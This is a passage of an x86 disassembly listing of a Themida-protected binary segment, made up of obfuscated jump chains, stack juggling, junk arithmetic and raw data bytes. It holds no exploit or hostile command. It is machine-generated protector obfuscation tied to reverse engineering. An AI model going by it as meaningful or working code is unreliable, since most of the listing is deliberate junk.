		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55E4BE
; ---------------------------------------------------------------------------
		dw 34B4h
		dd 5866E328h, 80ECC380h, 0C580F6EDh, 9DED8005h,	0C580DD28h
		dd 604EE99Dh, 0E9500000h, 0BB05h, 4BEh,	5FED8100h, 0E976287Ch
		dd 84CDh, 3D349CBDh, 36E5BF43h,	0EF01D7BFh, 7E6DE9h
		db 0
; ---------------------------------------------------------------------------

loc_556915:				; CODE XREF: Themida_:0055907Cj
		and	edx, esi
		pop	esi
		add	edx, 0E6BB4F85h
		add	ebx, edx
		pop	edx
		mov	eax, ebx
		jmp	loc_552CC5
; ---------------------------------------------------------------------------
		dd 0C4A9E95Dh, 8159FFFFh, 4ECh,	0E43AE900h, 0F2890000h
		dd 0CA81595Eh, 564F64FFh, 10F7BD55h, 0EA017FDAh, 81EAD15Dh
		dd 812CF5EAh, 4B1CE9D9h, 2C870000h, 24248B24h, 0FF9732E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556965:				; CODE XREF: Themida_:0055F485j
		add	ebx, 59BB5169h
		sub	ebx, eax
		sub	ebx, 59BB5169h
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		push	edx
		push	ebp
		mov	ebp, 41012B00h
		xor	ebp, 41002B00h
		push	edx
		mov	edx, esp
		jmp	loc_55F5BB
; ---------------------------------------------------------------------------
		dd 3FCE6866h, 24048966h, 0FF96EEE9h, 5FF821FFh,	2C5068h
		dd 241C8900h, 8C296ABBh, 5BD80153h, 0BD0CE9h, 2414F700h
		dd 7DA6E9h, 243C8900h, 6B00E8BFh, 3CCF8163h, 816D240Ah
		dd 0CD47A5F7h, 0F7D78764h, 0A4E0E9D2h, 1C89FFFFh, 81E38924h
		dd 4C3h, 0CE5DE900h, 0B5BFFFFFh, 2950C202h, 4A055FFAh
		dd 0E9375E3Eh, 0AB5Ah, 24048F5Eh, 4AB6525Ch, 0E1CCE9h
		dd 17E95300h
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556A1B:				; CODE XREF: Themida_:00555695j
		pop	esp
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_561685
; ---------------------------------------------------------------------------
aSSr		db 'Áè',8,'éàº',0
		dd 0ED815A00h, 3073B12h, 0FCE9C501h, 8B00006Fh,	0C481242Ch
		dd 4, 499FBE56h, 0F6812F49h, 54997561h,	6D3CBA52h, 0D631B9CBh
		dd 0FFE23CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556A7D:				; CODE XREF: Themida_:00550AEDj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5605EF
; ---------------------------------------------------------------------------
		db 1, 0F5h, 5Eh
		dd 7B07BE56h, 0F68173DCh, 38022D29h, 7A6DC581h,	0F5010600h
		dd 0FFA5F6E9h, 0BE581FFh, 5315A830h, 657E9h, 58F42D00h
		dd 8E2D7136h, 89A2E9E8h, 5256E9C5h, 34FF0000h, 0C4815E24h
		dd 4, 8B24048Fh, 9AE92424h, 5000009Ah, 405E089h, 83000000h
		dd 48704E8h, 3C895C24h,	0E9E78924h, 35Ch
; ---------------------------------------------------------------------------

loc_556AF4:				; CODE XREF: Themida_:00552339j
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 1536E3Ah
		and	ebp, 22914F56h
		sub	ebp, 114E0Eh
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dw 0F189h
		dd 91D6E9h, 44ABBE00h, 0F10160A6h, 0BF575Eh, 81000000h
		dd 1A6861EFh, 1A93E967h, 5E5A0000h, 849FE9h
		db 0
; ---------------------------------------------------------------------------

loc_556B5D:				; CODE XREF: Themida_:00558DFAj
		mov	[esp], edi
		mov	edi, 43F77097h
		jmp	loc_559C53
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 128EE904h, 348B0000h, 4C48124h, 5000000h, 921269E0h
		dd 158C589h, 5D04246Ch,	0FF2434FFh, 0E9582434h,	966Ch
		dd 2EC168h, 1ED9E900h, 895B0000h, 242C8BE9h, 2335E9h, 14896600h
		dd 9C506624h, 0FF94E2E9h, 0CABA52FFh, 875F015Ah, 0DA8743DAh
		dd 0A539C281h, 1E9A0FEh
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556BCB:				; CODE XREF: Themida_:0055CF01j
		add	ecx, 4
		jmp	loc_5654ED
; ---------------------------------------------------------------------------
		dw 0E280h
		dd 0B2525310h, 0FE5266A8h, 5A662404h, 0E93BF280h, 7C36h
; ---------------------------------------------------------------------------

loc_556BEC:				; CODE XREF: Themida_:005610E5j
		mov	[esp], ebx
		jmp	loc_561EDD
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 515F0000h, 4B9h, 4F7E900h, 34890000h
		dd 0E9E68924h, 0AD68h, 55EF031h, 0AD83D48h, 5A08F535h
		dd 0C862E936h, 8350FFFFh, 0E9FF242Ch, 48Ah, 0A5C4E956h
		dd 0E95A0000h, 0AFAAh
; ---------------------------------------------------------------------------

loc_556C3C:				; CODE XREF: Themida_:0056508Fj
		pop	esp
		mov	[esp], ebp
		mov	ebp, 24h
		add	esi, 473301B0h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_553F9F
; ---------------------------------------------------------------------------
aXiFys1		db 'XˆÊfYé1°',0
		dd 24048900h, 42474FFh,	24048F58h, 76B7E9h, 24048900h
		dd 0C4FE93B4h, 0FFC32EE9h, 243487FFh, 2424895Ch, 4EC81h
		dd 1C890000h, 4BB24h, 5C010000h, 1C8B0424h, 4C48324h, 1236E9h
		dd 0D3F75A00h, 0C381E3D1h, 7586EFE6h, 3974E9h, 0E9F90100h
		dd 0FFFFE5AEh, 0BB235ABEh, 0E9F50166h, 0FFFFA8F2h, 66241489h
		dd 660FBD68h, 0C281665Ah, 0C6E962BAh, 81FFFFC7h, 0FE4D2EC3h
		dd 0E9C30104h, 0BA1Fh, 0D02E0C1h, 0B145C99h, 5204E0C1h
		dd 5085F4BAh, 54FE2D91h, 0D0291372h, 0B284E9h, 246C8100h
		dd 724B6D04h, 0E3E95867h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556D17:				; CODE XREF: Themida_:00555C90j
		sub	ebp, ebx
		jmp	loc_55BA78
; ---------------------------------------------------------------------------
word_556D1E	dw 77FFh		; DATA XREF: Themida_:0054FF94o
		dd 11589D1Ch, 0E99C2404h, 0FFFF936Bh, 8F24248Bh, 248B2404h
		dd 0B30F6624h, 0E99C2404h, 0FFFF9357h, 5EF5EE81h, 0E95A3D10h
		dd 0FFFFE441h, 5749D1F7h, 661268h, 242C8900h, 0DB317568h
		dd 0F5815D52h, 39A13F76h, 6BB5BB53h, 0B850617Bh, 7414E5Dh
		dd 3865BE56h, 0EE810817h, 4DD41510h, 0FFE174E9h, 0FDC380FFh
		dd 0FE06EBC0h, 0D0E380C3h, 51EB80h, 0F42C5BD8h,	0F404D000h
		dd 80ABB252h, 5104FCEAh, 512CD028h, 0EA045A5Ah,	0EC81D828h
		dd 2, 241C8966h, 0FFF881E9h
		db 0FFh
byte_556DB9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FFA4o
		dd 5024048Bh, 0EC81E089h, 4, 0BB241C89h, 4, 0FFBBE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556DD5:				; CODE XREF: Themida_:0055FF81j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 40F2398Fh
		or	ecx, ebp
		pop	ebp
		inc	ecx
		shl	ecx, 7
		push	edx
		mov	edx, 799EF7FCh
		jmp	loc_55713B
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 42D0000h, 87000000h,	895C2404h, 74E9240Ch
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556E0B:				; CODE XREF: Themida_:00557646j
		sub	ebp, 4
		sub	esp, 4
		jmp	loc_55A39E
; ---------------------------------------------------------------------------
		db 66h,	51h, 9Ch
		dd 0FF9276E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556E21:				; CODE XREF: Themida_:005538E2j
		add	eax, 4F9A7AABh
		sub	edi, eax
		pop	eax
		add	ebp, edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55A667
; ---------------------------------------------------------------------------

loc_556E37:				; CODE XREF: Themida_:00557D35j
		sub	ecx, ebx
		jmp	loc_55F286
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 2F006001h, 4C7835Ah,	0E9243C87h, 67E5h, 4B850h, 0C7010000h
		dd 8324048Bh, 0E95104C4h, 2EB6h, 7C5D5DBEh, 4ED6F73Bh
		dd 0C2B5E946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556E72:				; CODE XREF: Themida_:0055BBE4j
		sub	ebx, 3BE940DFh
		add	ebx, edi
		add	ebx, 3BE940DFh
		pop	edi
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_55DBA8
; ---------------------------------------------------------------------------

loc_556E8C:				; CODE XREF: Themida_:005517AFj
		pop	edx
		jmp	loc_562151
; ---------------------------------------------------------------------------
aISsa		db '‰$$é™ ',0
		align 2
		dw 32BAh
		dd 81699C5Fh, 3A2D0FEAh, 6EAC176h, 3A40C281h, 0EA8134B7h
		dd 564CE7A6h, 0ABCAE9h
		db 0
; ---------------------------------------------------------------------------

loc_556EB9:				; CODE XREF: Themida_:00553B63j
		sub	edx, esi
		jmp	loc_5600AA
; ---------------------------------------------------------------------------

loc_556EC0:				; CODE XREF: Themida_:0055B9B2j
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		jmp	loc_563E3F
; ---------------------------------------------------------------------------

loc_556ED3:				; CODE XREF: Themida_:0055707Fj
		pop	dword ptr [esp]
		jmp	loc_55711C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C892424h, 3A43BD24h, 76E90FB6h, 0FFFFFFD3h,	5B042474h
		dd 8B24048Fh, 4872424h,	24248B24h, 78F3E9h, 24F58100h
		dd 8127F7BEh, 0FC46DBE9h, 4A64E930h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556F12:				; CODE XREF: Themida_:00553B13j
		add	edx, 0FC13B0D7h
		sub	esp, 4
		mov	[esp], edx
		xor	dword ptr [esp], 360DEFh
		pop	edi
		xor	edi, 360DEFh
		jmp	loc_55A9C0
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0D8h
		dd 5F70BB2Dh, 64BE2D2Dh, 895665ABh, 4C681E6h, 0E9000000h
		dd 0FFFFD3A2h, 0E9241487h, 2A0Fh, 4C481h, 0C3810000h, 4
		dd 8704C383h, 6EE9241Ch
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556F6B:				; CODE XREF: Themida_:00562F69j
		mov	ecx, 4CFD3928h
		push	eax
		push	ebx
		mov	ebx, 7C4C4B39h
		mov	eax, 3C210937h
		xor	eax, ebx
		pop	ebx
		shr	eax, 7
		jmp	loc_552106
; ---------------------------------------------------------------------------
		db 89h
		dd 32E9240Ch, 29000086h, 83ED81CDh, 59072049h, 775FC681h
		dd 0C681244Bh, 28F1247Bh, 0FF976AE9h, 81E389FFh, 4C3h
		dd 4EC8300h, 68240C89h,	931h, 16F5E9h, 462DBA00h, 0D001121Fh
		dd 4EC815Ah, 89000000h,	0D3B9240Ch, 0F7058C65h,	33BD55D9h
		dd 16CADBCh, 0B5ADE9E9h, 0B850FFFFh, 56F71F02h,	0BAE9D0F7h
		dd 5D0000E2h, 5104C183h, 42474FFh, 4498E9h, 5AD48800h
		dd 44B25266h, 5A66D528h, 6138E9h
		db 0
; ---------------------------------------------------------------------------

loc_557011:				; CODE XREF: Themida_:0055A375j
		sub	ebp, 4
		jmp	loc_5632AA
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 1F3EE950h, 0C6810000h, 0DCA112Ah, 8103E6C1h,	0A2334EEh
		dd 0D7C68117h, 1901EA5h, 0F0015EF0h, 0D310632Dh, 8DBB5333h
		dd 8161B458h, 0F51ED7C3h, 7BF82D15h, 85E959D2h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557057:				; CODE XREF: Themida_:005593CCj
		sub	esi, ecx
		pop	ecx
		sub	ebp, 55F54E79h
		add	ebp, esi
		add	ebp, 55F54E79h
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_556ED3
; ---------------------------------------------------------------------------
		dd 0D0000804h, 7ADE9h, 7CF38000h, 66E9DC00h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557097:				; CODE XREF: Themida_:00559B7Ej
		xor	ecx, 4F711419h
		jmp	loc_551A56
; ---------------------------------------------------------------------------

loc_5570A2:				; CODE XREF: Themida_:0055320Ej
		push	eax
		jmp	loc_562E80
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 799B755Ch, 0F796F787h, 0A0A9E9D0h, 3558FFFFh
		dd 1C78647Bh, 1C22A135h, 0A959E916h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5570CA:				; CODE XREF: Themida_:00565100j
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ebx
		push	1A6Ch
		mov	[esp], eax
		mov	eax, 0DD214E3h
		shr	eax, 6
		or	eax, 477F2A4Eh
		push	ebp
		mov	ebp, 4EA70769h
		jmp	loc_557E90
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 54h
		dd 5BFFFFF5h, 0FFB9A9E9h, 8FC781FFh, 0E952A13Ch, 74AFh
		dd 0D56CAEBBh, 0B2ED8155h, 0E9453D4Bh, 95C9h
; ---------------------------------------------------------------------------

loc_55711C:				; CODE XREF: Themida_:00556ED6j
		pop	esp
		jmp	loc_555783
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 81E38924h, 4C3h, 4EB8100h, 87000000h, 48E9241Ch
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55713B:				; CODE XREF: Themida_:00556DF0j
		sub	ecx, edx
		pop	edx
		push	ecx
		push	ebx
		push	45535313h
		pop	ebx
		xor	ebx, 3C3B7F79h
		neg	ebx
		jmp	loc_55A0B1
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24248B24h, 0B7241C89h, 0E02EE933h, 56B00000h
		dd 0F623B353h, 0FBF380D3h, 45BD828h, 0B2525362h, 0E9D78899h
		dd 215h
; ---------------------------------------------------------------------------

loc_557180:				; CODE XREF: Themida_:0055DD98j
		sub	ebx, 57C52ACBh
		add	ebx, 0A5F014Fh
		push	ecx
		push	esi
		mov	esi, 3D1213A5h
		mov	ecx, esi
		jmp	loc_553E44
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 219168h, 243C8900h, 4B4CF568h, 22E95F5Ch,	81FFFFABh
		dd 4A730FEFh, 4815777h,	74566824h, 0CAFFE91Ah
		db 2 dup(0FFh)
word_5571C6	dw 77FFh		; DATA XREF: Themida_:0054FFD4o
		dd 58669D1Ch, 24041966h, 8EC1E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5571D6:				; CODE XREF: Themida_:0055824Ej
		pop	eax
		jmp	loc_55130D
; ---------------------------------------------------------------------------
		dd 2504C483h, 4C256A71h, 20681435h, 58C60148h, 0AAF6E957h
		dd 0F5810000h, 0C07E8E25h, 2C8BEB31h, 4C48124h,	21000000h
		dd 241C8BDDh, 0C104C483h, 29E908EDh, 0F700008Ch, 461BE9D2h
		dd 315E0000h, 2434FFF0h, 0E954565Eh, 0DDB6h, 8B241C33h
		dd 0B7532424h, 0E9DFF638h, 8CC1h, 4C681h, 0EE810000h, 4
		dd 2474FF56h, 48F5E04h,	3C895C24h, 4EC8324h, 0B8240489h
		dd 0CCF4425h, 0E8115025h, 0FCE94837h
		db 0A3h, 2 dup(0)
byte_557267	db 66h			; DATA XREF: Themida_:0054FF04o
		dd 6802B60Fh, 22EAh, 54240C89h,	8C99E9h
		db 0
; ---------------------------------------------------------------------------

loc_557279:				; CODE XREF: Themida_:00562A76j
		mov	ecx, 40C73D0Bh
		mov	edi, 0BF38C2F9h
		add	edi, ecx
		jmp	loc_552097
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 2C895C24h, 15D7BD24h, 0EA290633h, 0C053E9h, 1C470900h
		dd 5524048Bh, 29E9h, 26BB5300h,	0E91A1B33h, 0FFFFCCF3h
; ---------------------------------------------------------------------------

loc_5572B4:				; CODE XREF: Themida_:005606CBj
		push	ebx
		mov	ebx, 45A1005Bh
		jmp	loc_5555C7
; ---------------------------------------------------------------------------

loc_5572BF:				; CODE XREF: Themida_:00550A07j
		sub	ecx, 43545A5Bh
		add	ecx, edi
		jmp	loc_56398B
; ---------------------------------------------------------------------------

loc_5572CC:				; CODE XREF: Themida_:0055C836j
		pop	esi
		jmp	loc_5539CC
; ---------------------------------------------------------------------------
		dw 5D54h
		dd 4C581h, 0E9520000h, 1108h
; ---------------------------------------------------------------------------

loc_5572E0:				; CODE XREF: Themida_:0055B354j
		pop	edi
		xor	eax, 1C2B52D0h
		jmp	loc_5618F6
; ---------------------------------------------------------------------------
aL4Pirs2	db '‹4$P‰àé2Î',0
		align 2
		dw 2C8Bh
		dd 4C48124h, 8F000000h,	248B2404h, 2424D224h, 8D89E99Ch
		dd 0C581FFFFh, 2B200FAFh, 59C8E9h, 3EF28100h, 8179D272h
		dd 0EF446BEAh, 81D2F74Dh, 9E141AC2h, 0EC814A0Dh, 4, 36FCE9h
		dd 5BD80100h, 8904EC83h, 68E92434h, 89000044h, 74FF2434h
		dd 5BE90424h, 52FFFFA8h, 0C6224ABAh, 6EAC131h, 39C2814Ah
		dd 123D6F5h, 0F7815AD7h, 3BD48B21h, 2192ED81h, 0FD016858h
		dd 2192B850h, 0C5016858h, 8450E9h, 798EBD00h, 48E905F0h
		dd 80000027h, 0E8285EEDh, 8CD9E9h, 58E95A00h
		db 9Ch,	2 dup(0)
byte_55739B	db 66h			; DATA XREF: Themida_:0054FE4Co
		dd 8124048Bh, 4ECh, 241C8900h, 0C9DE9h,	24CE8100h, 4E05AC6Eh
		dd 876CE9h, 59CB0100h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 10D2069Fh
		xor	esi, 10D2069Bh
		add	ebp, esi
		pop	esi
		jmp	loc_553E18
; ---------------------------------------------------------------------------

loc_5573D3:				; CODE XREF: Themida_:00555F5Dj
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_564F91
; ---------------------------------------------------------------------------
		db 0FEh, 0CDh, 83h
		dd 148904ECh, 0FE86B624h, 0B05053C6h, 3A70E933h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5573F6:				; CODE XREF: Themida_:005652DCj
		sub	esi, 0BFF7C39h
		sub	esi, 67470F20h
		pop	eax
		add	esi, ebp
		add	esi, 73E01772h
		sub	esi, 473301B0h
		pop	ebp
		push	esi
		jmp	loc_5529ED
; ---------------------------------------------------------------------------
		dd 2444015Fh, 246C8104h, 223FE304h, 54B8E967h, 68E90000h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55742F:				; CODE XREF: Themida_:005504BDj
		xor	[esp], esi
		jmp	loc_552D91
; ---------------------------------------------------------------------------

loc_557437:				; CODE XREF: Themida_:0055E17Ej
		push	edi
		jmp	loc_5591F5
; ---------------------------------------------------------------------------
		db 0D0h, 0EAh, 0F6h
		dd 0E7EA80D2h, 0FFB284E9h, 0E94258FFh, 0AF57h, 6803E2C1h
		dd 11h,	0BD242C89h, 0F149CC1Ch,	895DEA29h, 0F7CCE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55746A:				; CODE XREF: Themida_:0055DA02j
		shr	edi, 8
		push	ebp
		mov	ebp, 0A8B23EDCh
		sub	edi, ebp
		pop	ebp
		add	esi, 18235BDCh
		sub	esi, edi
		sub	esi, 18235BDCh
		pop	edi
		jmp	loc_55D6D7
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0E99CC138h, 0FFFF8BFFh, 0DD0074B5h, 59EB305Bh
		dd 805BDA30h, 0D328E1EBh, 72E4E9h, 8EBB5300h, 0B866294Ch
		dd 992CC1D6h, 34FFD831h, 0C4835B24h, 58C50104h,	0BD9E9h
		dd 204CB800h, 14BE410Fh, 29584926h, 7BBD58C6h, 8104B71Ah
		dd 0FFFFFFEDh, 0F9CD81FFh, 81721A3Ah, 0CD2D4CF5h, 5EF5017Eh
		dd 2C8BE829h, 0E0895024h, 405h,	4C08300h, 5C240487h, 651DFF25h
		dd 257A0518h, 0E8C14EEFh, 0EF39E904h, 0B951FFFFh, 164086Bh
		dd 8141D1F7h, 967BE1E1h, 6BE18110h, 817E7B5Dh, 0DFE260C1h
		dd 59CA8952h, 9DFB850h,	0C2214266h, 0EC835058h,	24348904h
		dd 0C7083CBEh, 0F3E95628h, 5EFFFF9Eh, 4C681h, 0EE810000h
		dd 4, 5C243487h, 0FF241489h, 8B042474h,	32E92414h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55756F:				; CODE XREF: Themida_:00555604j
		mov	[esp], edx
		mov	edx, 51A429ABh
		jmp	loc_564BCA
; ---------------------------------------------------------------------------

loc_55757C:				; CODE XREF: Themida_:0056393Bj
		or	esi, 19B7230Bh
		xor	esi, 66D5443h
		sub	esi, 4FEEAFE6h
		add	ecx, esi
		pop	esi
		add	ecx, ebx
		sub	ecx, 29A37F46h
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		rep movsd
		add	esp, [edx+38h]
		push	ecx
		push	3F79h
		mov	[esp], esi
		mov	esi, 49F42B8Ch
		push	esi
		jmp	loc_550CC7
; ---------------------------------------------------------------------------
		dd 4B8h, 58C10100h, 4EC8353h, 68240C89h, 30A96640h, 0F9BA5259h
		dd 314F3A0Eh, 0C9815AD1h, 0BC28C3h, 9707C181h, 0E9518040h
		dd 0FFFFC92Ah
; ---------------------------------------------------------------------------

loc_5575F8:				; CODE XREF: Themida_:0055C37Cj
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_557603:				; CODE XREF: Themida_:0055A41Aj
		and	edi, 33811B84h
		xor	edi, 1A0870E8h
		push	edx
		jmp	loc_563940
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 7
		dd 0B8D20540h, 0C7816861h, 48187F3Fh, 0E951C729h, 0FFFF96CCh
; ---------------------------------------------------------------------------

loc_55762C:				; CODE XREF: Themida_:00552444j
		shr	edx, 5
		inc	edx
		jmp	loc_550A82
; ---------------------------------------------------------------------------

loc_557635:				; CODE XREF: Themida_:00563F23j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_556E0B
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 2C181h, 0C330000h, 240C3124h,	5C240C33h
		dd 0B0C1E9h, 4C48300h, 3561C681h, 0D6F77930h, 8106EEC1h
		dd 42ACE0EEh, 0E9F589F7h, 43B2h
; ---------------------------------------------------------------------------

loc_557684:				; CODE XREF: Themida_:0055BCA1j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56391D
; ---------------------------------------------------------------------------

loc_55768F:				; CODE XREF: Themida_:00558D80j
		mov	[esp], ecx
		push	eax
		mov	eax, 391664C6h
		add	eax, 6D5D3509h
		add	eax, 3C84529Ch
		add	eax, 990E1871h
		push	eax
		pop	ecx
		pop	eax
		push	ebx
		mov	ebx, 61C16D14h
		or	ecx, ebx
		pop	ebx
		shl	ecx, 7
		add	ecx, 711144DCh
		shl	ecx, 8
		jmp	loc_558298
; ---------------------------------------------------------------------------
aUsx		db 'UéåÎ',0
		align 2
		dw 0DD88h
		dd 9EED805Bh, 4EC81h, 1C890000h, 8031B724h, 0C7FE48E7h
		dd 0E903EFC0h, 522Ah, 0CD560BBFh, 0EDAE930h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5576F2:				; CODE XREF: Themida_:0055A8A9j
		sub	edi, 876EAC5Eh
		add	ebp, edi
		pop	edi
		inc	ebp
		xor	ebp, 44A8C1C4h
		or	ebp, 78BE2D82h
		add	ebp, 556F4080h
		shl	ebp, 6
		not	ebp
		push	eax
		mov	eax, 68154C74h
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_5603E8
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 89500000h, 405E0h, 0C0830000h, 24048704h, 0E789575Ch
		dd 4BA52h, 4EE90000h, 29FFFFA4h, 3885EF3h, 8945E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557752:				; CODE XREF: Themida_:00553D20j
		pop	eax
		jmp	loc_55FF6B
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 4C481h, 0EB280000h, 51CB0059h, 0EB0010B5h
		dd 80596659h, 0EB809BEBh, 0ABC380DAh, 0EB80C300h, 0DAC380ABh
		dd 8904EC83h, 71B22414h, 9EA9E9h
		db 0
; ---------------------------------------------------------------------------

loc_55778D:				; CODE XREF: Themida_:0055E4F6j
		inc	ecx
		sub	ecx, 5CEB8E9Dh
		jmp	loc_5653C8
; ---------------------------------------------------------------------------

loc_557799:				; CODE XREF: Themida_:0055B73Dj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		push	ebx
		jmp	loc_55CF89
; ---------------------------------------------------------------------------
		dd 3D678BBAh, 0E5E94A22h, 89FFFFE7h, 825DE9C8h,	34FF0000h
		dd 24348B24h, 4C481h, 0C4830000h, 4815704h, 0C315BF24h
		dd 5FCAE942h, 0EB810000h, 5D753904h, 2BDCBD55h,	0CDE94CF1h
		dd 8900005Bh, 0A4E92404h
		db 88h,	2 dup(0FFh)
byte_5577F3	db 66h			; DATA XREF: Themida_:0054FE68o
		dd 56240C8Bh, 0B376E9h
		db 0
; ---------------------------------------------------------------------------

loc_5577FD:				; CODE XREF: Themida_:0055686Fj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_558D36
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0C1815900h, 4,	4EC81h,	2C890000h, 4EC8324h, 68243C89h
		dd 6ABE03CDh, 29FFE95Fh, 19B50000h, 2804EF80h, 0BDB1E9EFh
		dd 82CFFFFh, 4EC835Ah, 83241C89h, 86E904ECh, 83000037h
		dd 0FF5502C5h, 8B042474h, 0C483242Ch, 24048F04h, 0F624248Bh
		dd 7019E9F9h, 0B2520000h, 0E9D2F6FCh, 0FFFFFBCDh, 0E95DEA89h
		dd 0FFFFFBD1h
; ---------------------------------------------------------------------------

loc_557878:				; CODE XREF: Themida_:0056184Aj
		mov	edi, 3B892FFFh
		shl	edi, 1
		or	edi, 5C76542Ch
		xor	edi, 0E9E1E4Ch
		push	edx
		mov	edx, 48F541C8h
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5632BD
; ---------------------------------------------------------------------------
		db 5Ah,	5Eh, 0FFh
		dd 34FF2434h, 0A0685824h, 89000064h, 8B542404h,	0C4812404h
		dd 4, 405h, 0E7895700h,	0D27E9h, 0D7EB8100h, 0FF25F639h
		dd 835E2434h, 0CCE904C4h, 53FFFFDDh, 21A8E9h, 2434FF00h
		dd 4C4815Bh, 0E9000000h, 0FFFFC6BFh
; ---------------------------------------------------------------------------

loc_5578F0:				; CODE XREF: Themida_:0055AE1Dj
		sub	dword ptr [esp+4], 712E617Bh
		jmp	loc_55FEA5
; ---------------------------------------------------------------------------
		db 5, 44h, 0EEh
		dd 5056C77Fh, 2D1066B8h, 6C4F3569h, 0DAE9209Bh,	0F6000010h
		dd 0B60F66F1h, 55E956CCh, 81FFFFA4h, 4C4h, 24048700h, 1684E95Ch
		dd 0C1810000h, 4, 0E9240C87h, 75E8h
; ---------------------------------------------------------------------------

loc_55793C:				; CODE XREF: Themida_:005566DEj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0B5240C89h, 0E9312CB2h, 4C74h, 5DE8015Bh
		dd 4EC815Bh, 0E9000000h, 0FFFFE364h, 7E86BB53h,	0DD0143BFh
		dd 24048B5Bh, 4C481h, 3AE90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55797F:				; CODE XREF: Themida_:005593E3j
		add	ecx, 43A152A1h
		add	ecx, edi
		sub	ecx, 43A152A1h
		pop	edi
		push	edx
		mov	edx, 1
		add	[ecx], edx
		jmp	loc_559F2F
; ---------------------------------------------------------------------------
		db 86h
		dd 86D1F6CCh, 80C4FECCh, 0C4FE8DECh, 0EC80DCF6h, 58E188C7h
		dd 5075E980h, 9E96EB4h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5579BB:				; CODE XREF: Themida_:00552886j
